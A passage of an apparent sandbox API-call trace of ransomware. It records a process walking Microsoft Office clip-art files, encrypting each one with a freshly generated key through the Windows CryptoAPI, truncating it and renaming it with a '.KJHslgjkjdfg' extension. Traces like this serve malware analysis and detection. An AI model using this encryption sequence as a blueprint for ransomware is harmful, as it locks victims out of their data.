office\\clipart\\pub60cor\\j0105276.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.kjhslgjkjdfg")) returned 1 [0167.592] CloseHandle (hObject=0x114) returned 1 [0167.592] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105280.WMF", cAlternateFileName="")) returned 1 [0167.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0167.594] GetProcessHeap () returned 0x2a0000 [0167.594] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0167.594] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0167.594] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0167.594] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0167.617] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0167.617] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0167.617] GetProcessHeap () returned 0x2a0000 [0167.617] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0167.618] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0167.618] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0167.618] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0167.618] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0167.618] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0167.618] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0167.619] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0167.619] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0167.619] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0167.619] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0167.619] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.619] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2d14, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2d14, lpOverlapped=0x0) returned 1 [0167.705] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d20, dwBufLen=0x2d20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d20) returned 1 [0167.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.705] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2d20, lpOverlapped=0x0) returned 1 [0167.706] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0167.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.706] SetEndOfFile (hFile=0x114) returned 1 [0167.708] GetProcessHeap () returned 0x2a0000 [0167.708] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0167.708] GetProcessHeap () returned 0x2a0000 [0167.708] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0167.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.kjhslgjkjdfg")) returned 1 [0167.711] CloseHandle (hObject=0x114) returned 1 [0167.711] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105282.WMF", cAlternateFileName="")) returned 1 [0167.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0167.711] GetProcessHeap () returned 0x2a0000 [0167.711] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0167.711] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0167.711] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0167.711] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0167.739] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0167.739] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0167.739] GetProcessHeap () returned 0x2a0000 [0167.739] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0167.739] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0167.739] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0167.739] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0167.739] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0167.739] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0167.740] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0167.740] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0167.740] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0167.740] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0167.740] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0167.744] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.744] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x12bc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x12bc, lpOverlapped=0x0) returned 1 [0168.371] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12c0) returned 1 [0168.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.371] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x12c0, lpOverlapped=0x0) returned 1 [0168.372] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0168.372] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.372] SetEndOfFile (hFile=0x114) returned 1 [0168.374] GetProcessHeap () returned 0x2a0000 [0168.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0168.374] GetProcessHeap () returned 0x2a0000 [0168.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0168.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.kjhslgjkjdfg")) returned 1 [0168.376] CloseHandle (hObject=0x114) returned 1 [0168.376] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105286.WMF", cAlternateFileName="")) returned 1 [0168.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0168.376] GetProcessHeap () returned 0x2a0000 [0168.376] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0168.377] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0168.377] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0168.377] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0168.464] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0168.464] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0168.464] GetProcessHeap () returned 0x2a0000 [0168.464] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0168.465] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0168.465] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0168.465] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0168.465] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0168.465] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0168.465] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0168.465] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0168.465] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0168.465] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0168.465] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0168.465] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.465] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x19a8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x19a8, lpOverlapped=0x0) returned 1 [0168.483] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19b0, dwBufLen=0x19b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19b0) returned 1 [0168.483] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.484] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x19b0, lpOverlapped=0x0) returned 1 [0168.484] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0168.484] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.484] SetEndOfFile (hFile=0x114) returned 1 [0168.487] GetProcessHeap () returned 0x2a0000 [0168.487] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0168.487] GetProcessHeap () returned 0x2a0000 [0168.487] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0168.487] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.kjhslgjkjdfg")) returned 1 [0168.488] CloseHandle (hObject=0x114) returned 1 [0168.488] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105288.WMF", cAlternateFileName="")) returned 1 [0168.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0168.489] GetProcessHeap () returned 0x2a0000 [0168.489] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0168.489] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0168.489] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0168.489] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0168.582] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0168.582] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0168.582] GetProcessHeap () returned 0x2a0000 [0168.582] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0168.582] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0168.582] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0168.582] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0168.582] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0168.582] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0168.582] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0168.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0168.583] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0168.583] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0168.583] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0168.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.583] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3dd8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3dd8, lpOverlapped=0x0) returned 1 [0168.672] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3de0, dwBufLen=0x3de0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3de0) returned 1 [0168.673] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.673] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3de0, lpOverlapped=0x0) returned 1 [0168.673] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0168.673] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3eb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.673] SetEndOfFile (hFile=0x114) returned 1 [0168.681] GetProcessHeap () returned 0x2a0000 [0168.681] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0168.681] GetProcessHeap () returned 0x2a0000 [0168.681] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0168.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.kjhslgjkjdfg")) returned 1 [0168.683] CloseHandle (hObject=0x114) returned 1 [0168.683] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105292.WMF", cAlternateFileName="")) returned 1 [0168.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0168.683] GetProcessHeap () returned 0x2a0000 [0168.683] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0168.683] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0168.683] 